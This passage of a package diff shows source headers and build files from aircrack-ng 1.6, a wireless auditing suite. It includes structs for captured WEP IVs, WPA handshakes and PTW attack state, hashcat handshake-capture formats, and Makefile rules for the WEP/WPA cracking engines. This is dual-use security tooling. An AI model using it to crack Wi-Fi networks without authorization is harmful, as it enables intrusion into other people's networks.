+	uint8_t essid[ESSID_LENGTH + 1]; /* access point identifier      */
+	uint8_t lanip[4]; /* IP address if unencrypted    */
+	uint8_t * ivbuf; /* table holding WEP IV data    */
+	uint8_t ** uiv_root; /* IV uniqueness root struct    */
+	long ivbuf_size; /* IV buffer allocated size     */
+	long nb_ivs; /* total number of unique IVs   */
+	long nb_ivs_clean; /* total number of unique IVs   */
+	long nb_ivs_vague; /* total number of unique IVs   */
+	unsigned int crypt; /* encryption algorithm         */
+	int eapol; /* set if EAPOL is present      */
+	int target; /* flag set if AP is a target   */
+	struct ST_info * st_1st; /* DEPRECATED: linked list of stations */
+	c_avl_tree_t * stations; /* AVL tree of stations keyed on MAC*/
+	struct WPA_hdsk wpa; /* valid WPA handshake data     */
+	PTW_attackstate * ptw_clean;
+	PTW_attackstate * ptw_vague;
+
+	int wpa_stored; /* wpa stored in ivs file?   */
+	int essid_stored; /* essid stored in ivs file? */
+
+	int rx_quality; /* percent of captured beacons */
+	int fcapt; /* amount of captured frames   */
+	int fmiss; /* amount of missed frames     */
+	unsigned int last_seq; /* last sequence number        */
+	struct timeval ftimef; /* time of first frame         */
+	struct timeval ftimel; /* time of last frame          */
+	struct timeval ftimer; /* time of restart             */
+
+	char * key; /* if wep-key found by dict */
+
+	char decloak_detect; /* run decloak detection? */
+	struct pkt_buf * packets; /* list of captured packets (last few seconds) */
+	char is_decloak; /* detected decloak */
+
+	// This feature eats 48Mb per AP
+	int EAP_detected;
+	uint8_t * data_root; /* first 2 bytes of data if */
+	/* WEP network; used for    */
+	/* detecting WEP cloak	  */
+	/* + one byte to indicate   */
+	/* (in)existence of the IV  */
+
+	int marked;
+	int marked_color;
+	struct WPS_info wps;
+};
+
+/** linked list of detected clients */
+struct ST_info
+{
+	struct ST_info * prev; /* the prev client in list   */
+	struct ST_info * next; /* the next client in list   */
+	struct AP_info * base; /* AP this client belongs to */
+	uint8_t stmac[6]; /* the client's MAC address  */
+	struct WPA_hdsk wpa; /* WPA handshake data        */
+
+	char * manuf; /* the client's manufacturer */
+
+	time_t tinit, tlast; /* first and last time seen  */
+	unsigned long nb_pkt; /* total number of packets   */
+	uint8_t essid[ESSID_LENGTH + 1]; /* last associated essid     */
+	int essid_length; /* essid length of last asso */
+	int probe_index; /* probed ESSIDs ring index  */
+	char probes[NB_PRB][MAX_IE_ELEMENT_SIZE]; /* probed ESSIDs ring buffer */
+	int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
+	int power; /* last signal power         */
+	int best_power; /* best signal power    */
+	int rate_to; /* last bitrate to station   */
+	int rate_from; /* last bitrate from station */
+	struct timeval ftimer; /* time of restart           */
+	int missed; /* number of missed packets  */
+	unsigned int lastseq; /* last seen sequnce number  */
+	int wpatype; /* 1=wpa1 2=wpa2             */
+	int wpahash; /* 1=md5(tkip) 2=sha1(ccmp)  */
+	int wep; /* capability encryption bit */
+
+	int qos_to_ds; /* does it use 802.11e to ds */
+	int qos_fr_ds; /* does it receive 802.11e   */
+	int channel; /* Channel station is seen   */
+	float gps_loc_min[5]; /* min gps coordinates      */
+	float gps_loc_max[5]; /* max gps coordinates      */
+	float gps_loc_best[5]; /* best gps coordinates     */
+};
+
+#endif //AIRCRACK_NG_STATION_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/eapol.h Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/ethernet.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/hashcat.h Added

@@ -0,0 +1,162 @@
+/*
+ *  Hashcat structures and macros
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _HASHCAT_H_
+#define _HASHCAT_H_
+
+#include <stdint.h>
+
+// Hashcat v3.5 and lower
+typedef struct
+{
+	char essid[36];
+
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	unsigned char nonce1[32];
+	unsigned char nonce2[32];
+
+	unsigned char eapol[256];
+	int eapol_size;
+
+	int keyver;
+	unsigned char keymic[16];
+
+} hccap_t;
+
+// Docs: https://hashcat.net/wiki/doku.php?id=hccapx
+
+#define HCCAPX_SIGNATURE 0x58504348 // HCPX
+
+#define HCCAPX_CURRENT_VERSION 4
+
+// https://hashcat.net/wiki/doku.php?id=hccapx
+typedef struct hccapx
+{
+	uint32_t
+		signature; /* signature (file magic) of .hccapx files, it is always the
+					  string HCPX */
+	uint32_t version; /* version number of the .hccapx file format */
+	uint8_t message_pair; /* possible values range from 0 to 5 or 128 to 133 */
+	/* message_pair was extended with some additional information: the highest
+   * bit could be used
+   * to indicate if the message pair matching was done based on replay counter
+   * or not. Whenever
+   * the highest bit (bit 8) was set to 1 it means that the replay counter was
+   * ignored (i.e. it
+   * was not considered at all by the matching algorithm):
+   *
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | message_pair (hex) | message_pair (dec) | Highest bit | Meaning |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | 0x00 to 0x05       | 0 to 5             | 0           | Message pair
+   * according to table below with replay counter matching |
+   * | 0x80 to 0x85       | 128 to 133         | 1           | Message pair
+   * according to table below, replay counter was ignored  |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   *
+   * The message_pair value describes which messages of the 4-way handshake were
+   * combined to form the
+   * .hccapx structure. It is always a pair of 2 messages: 1 from the AP (access
+   * point) and 1 from the STA (client).
+   *
+   * Furthermore, the message_pair value also gives a hint from which of the 2
+   * messages the EAPOL origins.
+   * This is interesting data, but not necessarily needed for hashcat to be able
+   * to crack the hash.
+   *
+   * On the other hand, it could be very important to know if "only" message 1
+   * and message 2 were captured
+   * or if for instance message 3 and/or message 4 were captured too. If message
+   * 3 and/or message 4 were captured
+   * it should be a hard evidence that the connection was established and that
+   * the password the client used was the
+   * correct one.
+   *
+   * The following table lists all values currently allowed for the message_pair
+   * field:
+   *
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | message_pair value | Messages of the handshake | Source of the EAPOL | AP
+   * message | STA message | Replay counter matching  |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | 0                  | M1 + M2                   | M2                  | M1
+   * | M2          | Yes                      |
+   * | 1                  | M1 + M4                   | M4                  | M1
+   * | M4          | Yes                      |
+   * | 2                  | M2 + M3                   | M2                  | M3
+   * | M2          | Yes                      |
+   * | 3                  | M2 + M3                   | M3                  | M3
+   * | M2          | Yes                      |
+   * | 4                  | M3 + M4                   | M3                  | M3
+   * | M4          | Yes                      |
+   * | 5                  | M3 + M4                   | M4                  | M3
+   * | M4          | Yes                      |
+   * | 128                | M1 + M2                   | M2                  | M1
+   * | M2          | No                       |
+   * | 129                | M1 + M4                   | M4                  | M1
+   * | M4          | No                       |
+   * | 130                | M2 + M3                   | M2                  | M3
+   * | M2          | No                       |
+   * | 131                | M2 + M3                   | M3                  | M3
+   * | M2          | No                       |
+   * | 132                | M3 + M4                   | M3                  | M3
+   * | M4          | No                       |
+   * | 133                | M3 + M4                   | M4                  | M3
+   * | M4          | No                       |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   *
+   * Note: M1 means message 1 of the handshake, M2 means message 2 of the
+   * handshake, M3 means message 3 of
+   * the handshake and M4 means message 4 of the 4-way handshake
+   */
+	uint8_t essid_len; /* length of the network name (ESSID)  */
+	uint8_t essid[32]; /* ESSID */
+	uint8_t keyver; /* set to 1 if WPA is used, other values (preferably 2)
+						   means WPA2  */
+	uint8_t keymic[16]; /* the actual hash value (MD5 for WPA, SHA1 for WPA2)
+						   truncated to 128 bit (16 bytes) */
+	uint8_t mac_ap[6]; /* BSSID */
+	uint8_t
+		nonce_ap[32]; /* nonce (random salt) generated by the access point */
+	uint8_t mac_sta[6]; /* mac address of the client connecting to the access
+						   point */
+	uint8_t nonce_sta[32]; /* nonce (random salt) generated by the client
+							  connecting to the access point */
+	uint16_t eapol_len; /* length of the EAPOL */
+	uint8_t eapol[256]; /* EAPOL (max 256 bytes) */
+
+} __attribute__((packed)) hccapx_t;
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/ieee80211.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/if_arp.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/if_llc.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/tui Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/tui/console.h Added

@@ -0,0 +1,157 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CONSOLE_H
+#define AIRCRACK_NG_CONSOLE_H
+
+/**
+ * Styling attributes for \a textstyle function.
+ */
+#define TEXT_RESET 0
+#define TEXT_BRIGHT 1
+#define TEXT_DIM 2
+#define TEXT_UNDERLINE 3
+#define TEXT_BLINK 4
+#define TEXT_REVERSE 7
+#define TEXT_HIDDEN 8
+#define TEXT_MAX_STYLE 8
+
+/**
+ * Color definitions for \a textcolor functions.
+ */
+#define TEXT_BLACK 0
+#define TEXT_RED 1
+#define TEXT_GREEN 2
+#define TEXT_YELLOW 3
+#define TEXT_BLUE 4
+#define TEXT_MAGENTA 5
+#define TEXT_CYAN 6
+#define TEXT_WHITE 7
+#define TEXT_MAX_COLOR 7
+
+/**
+ * Movement direction definitions for \a move function.
+ */
+#define CURSOR_UP 0
+#define CURSOR_DOWN 1
+#define CURSOR_FORWARD 2
+#define CURSOR_BACK 3
+
+/**
+ * Character codes for common keyboard keys.
+ */
+#define KEY_TAB 0x09
+#define KEY_ESCAPE 0x1B
+#define KEY_SPACE 0x20
+#define KEY_ARROW_UP 0x41
+#define KEY_ARROW_DOWN 0x42
+#define KEY_ARROW_RIGHT 0x43
+#define KEY_ARROW_LEFT 0x44
+#define KEY_a 0x61
+#define KEY_c 0x63
+#define KEY_d 0x64
+#define KEY_i 0x69
+#define KEY_m 0x6D
+#define KEY_n 0x6E
+#define KEY_q 0x71
+#define KEY_r 0x72
+#define KEY_s 0x73
+#define KEY_o 0x6F //color on
+#define KEY_p 0x70 //color off
+
+/// Changes the styling, foreground, and background
+/// character color, as shown in the user's terminal
+/// console.
+void textcolor(int attr, int fg, int bg);
+
+/// Changes the foreground character color, as shown in the
+/// user's terminal console.
+void textcolor_fg(int fg);
+
+/// Changes the background character color, as shown in the
+/// user's terminal console.
+void textcolor_bg(int bg);
+
+/// Switch to normal color or intensity, as shown in the
+/// user's terminal console.
+void textcolor_normal(void);
+
+/// Switches the styling applied to future written characters to
+/// the user's terminal console.
+void textstyle(int attr);
+
+/// Moves the cursor to specified column and row, 1-based.
+void moveto(int x, int y);
+
+/// Move the cursor a specified number of positions, in the specified
+/// direction.
+void move(int which, int n);
+
+/// \brief Erase a subset of the terminal console.
+/**
+ * From Wikipedia:
+ *
+ * Clears part of the screen. If n {\displaystyle n} n is 0 (or missing),
+ * clear from cursor to end of screen. If n {\displaystyle n} n is 1,
+ * clear from cursor to beginning of the screen. If n {\displaystyle n} n
+ * is 2, clear entire screen (and moves cursor to upper left on DOS
+ * ANSI.SYS). If n {\displaystyle n} n is 3, clear entire screen and
+ * delete all lines saved in the scrollback buffer (this feature was
+ * added for xterm and is supported by other terminal applications).
+ */
+void erase_display(int n);
+
+/// \brief Erase part of the line; of the user's terminal console.
+void erase_line(int n);
+
+/// Hide the cursor within the terminal console.
+void hide_cursor(void);
+
+/// Show the cursor within the terminal console.
+void show_cursor(void);
+
+/// Reset the terminal console display back to a known working state.
+void reset_term(void);
+
+/// Wrapper around \a getch to avoid displaying the character on the terminal
+/// console.
+int mygetch(void);
+
+void console_utf8_enable(void);
+
+static inline void console_puts(const char * msg)
+{
+	printf("%s", msg);
+	erase_line(0);
+	putchar('\n');
+}
+
+#endif // AIRCRACK_NG_CONSOLE_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/utf8 Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/utf8/verifyssid.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/version.h.in Added

@@ -0,0 +1,48 @@
+/*
+ * (c) 2010-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#define _MAJ @_MAJ@
+#define _MIN @_MIN@
+#define _SUB_MIN @_SUB_MIN@
+#define _BETA @_BETA@
+#define _RC @_RC@
+#define _SCM "@_SCM@"
+#define LT_VER @LT_VER@
+#define WEBSITE "https://aircrack-ng.org"
+
+extern char * getVersion(const char * progname,
+						 const unsigned int maj,
+						 const unsigned int min,
+						 const unsigned int submin,
+						 const char * rev,
+						 const unsigned int beta,
+						 const unsigned int rc);

aircrack-ng-1.6.tar.gz/lib/Makefile.inc Added

@@ -0,0 +1,301 @@
+# Aircrack-ng
+#
+# Copyright (C) 2019 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+include %D%/osdep/Makefile.inc
+
+SRC_CE_WEP	=	%D%/ce-wep/uniqueiv.c
+SRC_CE_WPA	=	%D%/ce-wpa/crypto_engine.c \
+							%D%/ce-wpa/memory.c \
+							%D%/ce-wpa/simd-intrinsics.c \
+							%D%/ce-wpa/wpapsk.c
+SRC_COW			= %D%/cowpatty/cowpatty.c
+SRC_CRYPTO	=	%D%/crypto/crypto.c
+SRC_PTW			= %D%/ptw/aircrack-ptw-lib.c
+SRC_LIBAC		= %D%/libac/adt/avl_tree.c \
+							%D%/libac/adt/circular_buffer.c \
+							%D%/libac/adt/circular_queue.c \
+							%D%/libac/cpu/simd_cpuid.c \
+							%D%/libac/support/fragments.c \
+							%D%/libac/support/common.c \
+							%D%/libac/support/communications.c \
+							%D%/libac/support/crypto_engine_loader.c \
+							%D%/libac/support/mcs_index_rates.c \
+							%D%/libac/tui/console.c \
+							%D%/libac/utf8/verifyssid.c
+SRC_RADIOTAP = %D%/radiotap/radiotap.c
+
+if LIBGCRYPT
+SRC_CRYPTO	+=	%D%/crypto/sha1-git.c
+endif
+
+if X86
+SRC_CRYPTO	+=	%D%/crypto/sha1-sse2.S
+endif
+
+libaccrypto_la_SOURCES	= $(SRC_CRYPTO)
+libaccrypto_la_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS)
+libaccrypto_la_LIBADD		= $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(CRYPTO_LIBS)
+
+libcowpatty_la_SOURCES = $(SRC_COW)
+libcowpatty_la_CFLAGS = $(COMMON_CFLAGS) $(LIBCOW_CFLAGS)
+if !STATIC_CRYPTO
+libcowpatty_la_LIBADD = $(COMMON_LDADD)
+endif
+
+libptw_la_SOURCES	= $(SRC_PTW)
+libptw_la_CFLAGS	= $(COMMON_CFLAGS)
+if !STATIC_CRYPTO
+libptw_la_LIBADD	= $(COMMON_LDADD)
+endif
+
+libradiotap_la_SOURCES	= $(SRC_RADIOTAP)
+libradiotap_la_LDFLAGS	= -no-undefined
+
+########################################################################
+# Aircrack Support Library                                             #
+########################################################################
+
+if ARM
+TRAMPOLINE = %D%/libac/cpu/trampoline_arm.c
+endif
+if PPC
+TRAMPOLINE = %D%/libac/cpu/trampoline_ppc.c
+endif
+if X86
+TRAMPOLINE = %D%/libac/cpu/trampoline_x86.c
+endif
+
+if !ARM
+if !PPC
+if !X86
+TRAMPOLINE = %D%/libac/cpu/trampoline_stubs.c
+endif
+endif
+endif
+
+if HAVE_HWLOC
+CPUSET = %D%/libac/cpu/cpuset_hwloc.c
+endif
+if !HAVE_HWLOC
+CPUSET = %D%/libac/cpu/cpuset_pthread.c
+endif
+
+libaircrack_la_SOURCES	= $(SRC_LIBAC) $(TRAMPOLINE) $(CPUSET)
+libaircrack_la_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS) \
+													"-DLIBAIRCRACK_CE_WPA_PATH=\"$(LIBAIRCRACK_CE_WPA_PATH)\"" \
+													"-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+													"-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+													"-DLIBDIR=\"$(libdir)\""
+libaircrack_la_LIBADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(PCRE_LIBS) $(CRYPTO_LIBS)
+
+if CYGWIN
+libaircrack_la_LIBADD += -lshlwapi
+endif
+
+if STATIC_BUILD
+libaircrack_la_CFLAGS += -DSTATIC_BUILD
+endif
+
+if HAVE_HWLOC
+libaircrack_la_CFLAGS += $(HWLOC_CFLAGS)
+if !CYGWIN
+if !STATIC_HWLOC
+libaircrack_la_LIBADD += $(HWLOC_LIBS)
+endif
+endif
+if CYGWIN
+if !STATIC_HWLOC
+libaircrack_la_LIBADD += $(HWLOC_LIBS)
+endif
+endif
+endif
+
+########################################################################
+# Aircrack Crypto Engine for WEP                                       #
+########################################################################
+
+libaircrack_ce_wep_la_SOURCES	= $(SRC_CE_WEP)
+libaircrack_ce_wep_la_CFLAGS	= $(COMMON_CFLAGS)
+libaircrack_ce_wep_la_LIBADD	= $(CRYPTO_LIBS)
+
+########################################################################
+# Aircrack Crypto Engine for WPA                                       #
+########################################################################
+
+# Intel/AMD
+libaircrack_ce_wpa_x86_avx512_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_x86_avx512_la_CFLAGS = $(x86_avx512_cflags) -DSIMD_CORE -DJOHN_AVX512F $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_x86_avx512_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_x86_avx512_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_ce_wpa_x86_avx2_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_x86_avx2_la_CFLAGS = $(x86_avx2_cflags) -DSIMD_CORE -DJOHN_AVX2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_x86_avx2_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_x86_avx2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_ce_wpa_x86_avx_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_x86_avx_la_CFLAGS = $(x86_avx_cflags) -DSIMD_CORE -DJOHN_AVX $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_x86_avx_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_x86_avx_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_ce_wpa_x86_sse2_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_x86_sse2_la_CFLAGS = $(x86_sse2_cflags) -DSIMD_CORE -DJOHN_SSE2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_x86_sse2_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_x86_sse2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+# ARM/AARCH64
+libaircrack_ce_wpa_arm_neon_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_arm_neon_la_CFLAGS = $(arm_neon_cflags) -DSIMD_CORE -DHAS_NEON $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_arm_neon_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_arm_neon_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+# PowerPC
+libaircrack_ce_wpa_ppc_altivec_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_ppc_altivec_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_ppc_altivec_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_ppc_altivec_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+libaircrack_ce_wpa_ppc_power8_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_ppc_power8_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC -DJOHN_POWER8 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_ppc_power8_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_ppc_power8_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+# Generic library
+libaircrack_ce_wpa_la_CFLAGS = $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+libaircrack_ce_wpa_la_SOURCES = $(SRC_CE_WPA)
+libaircrack_ce_wpa_la_LDFLAGS = -release $(LT_VER) -no-undefined
+if !STATIC_CRYPTO
+libaircrack_ce_wpa_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+endif
+
+# Build librarie(s)
+lib_LTLIBRARIES += libaircrack-ce-wpa.la
+
+if ARM
+if NEON
+lib_LTLIBRARIES += libaircrack-ce-wpa-arm-neon.la
+endif
+endif
+if PPC
+if ALTIVEC
+lib_LTLIBRARIES += libaircrack-ce-wpa-ppc-altivec.la
+endif
+if POWER8
+lib_LTLIBRARIES += libaircrack-ce-wpa-ppc-power8.la
+endif
+endif
+if X86
+if AVX512F
+lib_LTLIBRARIES += libaircrack-ce-wpa-x86-avx512.la
+endif
+lib_LTLIBRARIES += libaircrack-ce-wpa-x86-avx2.la libaircrack-ce-wpa-x86-avx.la libaircrack-ce-wpa-x86-sse2.la
+endif
+
+noinst_LTLIBRARIES += libaircrack-ce-wep.la libcowpatty.la libaccrypto.la libptw.la libaircrack.la libradiotap.la
+
+EXTRA_DIST +=	%D%/ce-wep/uniqueiv.c \
+							%D%/ce-wpa/crypto_engine.c \
+							%D%/ce-wpa/memory.c \
+							%D%/ce-wpa/simd-intrinsics.c \
+							%D%/ce-wpa/wpapsk.c \
+							%D%/cowpatty/cowpatty.c \
+							%D%/crypto/crypto.c \
+							%D%/crypto/sha1-git.c \
+							%D%/crypto/sha1-sse2.S \
+							%D%/libac/adt/avl_tree.c \
+							%D%/libac/adt/circular_buffer.c \
+							%D%/libac/adt/circular_queue.c \
+							%D%/libac/cpu/cpuset_hwloc.c \
+							%D%/libac/cpu/cpuset_pthread.c \
+							%D%/libac/cpu/simd_cpuid.c \
+							%D%/libac/cpu/trampoline_arm.c \
+							%D%/libac/cpu/trampoline_ppc.c \
+							%D%/libac/cpu/trampoline_stubs.c \
+							%D%/libac/cpu/trampoline_x86.c \
+							%D%/libac/support/common.c \
+							%D%/libac/support/communications.c \
+							%D%/libac/support/crypto_engine_loader.c \
+							%D%/libac/support/fragments.c \
+							%D%/libac/support/mcs_index_rates.c \
+							%D%/libac/tui/console.c \
+							%D%/libac/utf8/verifyssid.c \
+							%D%/osdep/aircrack_ng_airpcap.h \
+							%D%/osdep/airpcap.c \
+							%D%/osdep/common.c \
+							%D%/osdep/crctable_osdep.h \
+							%D%/osdep/cygwin.c \
+							%D%/osdep/cygwin.h \
+							%D%/osdep/cygwin_tap.c \
+							%D%/osdep/darwin.c \
+							%D%/osdep/darwin_tap.c \
+							%D%/osdep/dummy.c \
+							%D%/osdep/dummy_tap.c \
+							%D%/osdep/file.c \
+							%D%/osdep/freebsd.c \
+							%D%/osdep/freebsd_tap.c \
+							%D%/osdep/linux.c \
+							%D%/osdep/linux_tap.c \
+							%D%/osdep/netbsd.c \
+							%D%/osdep/netbsd_tap.c \
+							%D%/osdep/network.c \
+							%D%/osdep/openbsd.c \
+							%D%/osdep/openbsd_tap.c \
+							%D%/osdep/osdep.c \
+							%D%/osdep/tap-win32/common.h \
+							%D%/ptw/aircrack-ptw-lib.c \
+							%D%/radiotap/COPYING \
+							%D%/radiotap/parse.c \
+							%D%/radiotap/platform.h \
+							%D%/radiotap/radiotap.c \
+							%D%/radiotap/radiotap.h \
+							%D%/radiotap/radiotap_iter.h

aircrack-ng-1.6.tar.gz/lib/ce-wep Added

aircrack-ng-1.6.tar.gz/lib/ce-wep/uniqueiv.c Added

@@ -0,0 +1,268 @@
+/*
+ *  IV uniqueness detection method.
+ *
+ *  Copyright (C) 2004-2008 Stanislaw Pusep:
+ *
